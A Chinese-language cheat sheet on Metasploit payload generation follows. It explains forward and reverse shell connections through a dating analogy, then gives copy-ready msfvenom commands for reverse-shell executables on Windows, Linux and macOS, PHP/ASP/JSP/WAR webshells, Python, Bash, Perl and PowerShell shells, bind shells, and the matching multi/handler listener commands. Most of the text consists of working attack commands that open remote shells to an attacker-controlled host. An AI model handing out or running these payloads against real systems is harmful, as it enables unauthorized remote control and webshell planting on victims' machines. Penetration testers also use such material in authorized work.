MSF常用payload生成
两种方式
msf生成的payload分为正向和反向两种,正向需要正向连接,反向需要反向连接,反向是最常用的方式
正向连接指被攻击的目标机器通过正向的payload打开一个端口,攻击者的机器去连接目标机器的这个端口,从而建立连接
如果把攻击机器比喻成你,目标机器比喻成妹子,正向连接相当于你去追追妹子,最后建立了连接,两者可以互相通信
反向指攻击者的机器打开一个端口,目标机器运行反向payload来连接攻击机器的端口,从而建立连接
用上面的比喻,反向连接相当于妹子来追你,最后建立了连接,相互通信
使用场景
反向是比较常用的方式,在内网渗透中会使用到正向
如果目标机器能够出站与你的机器建立连接就可以使用正向,相当于你和妹子在一家公司上班,妹子可以主动找你,最后在一起了
如果⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通则可以使用正向,相当于妹子在家里宅着天天不出门,你为了追到手,只有去他家拜访一下
反向连接比正向连接更加稳定
常用反向payload生成
生成二进制文件
- Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
- Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
生成Webshell脚本
- PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
- ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
- JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
- War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
生成其他shell脚本
- Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
- Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
- Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
- Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f psh > shell.ps1 powershell.exe -ExecutionPolicy Bypass -File shell.ps1
常用正向payload生成
和反向有些相似
- 32位Windows
msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
- 64位Windows
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
其他版本的payload生成以此类推
MSF接收
反向
msfconsole
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp # 这里替换为生成使用的payload
set LHOST your-ip # msf所在机器的ip
set LPORT your-port # 连接的端口
exploit
正向
msfconsole
use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp # 这里替换为生成使用的payload
set RHOST victim-ip # 目标机器的ip
exploit
注意
注意目标机器系统是32位还是64位
生成的payload都需要在目标机器上成功运行才能够连接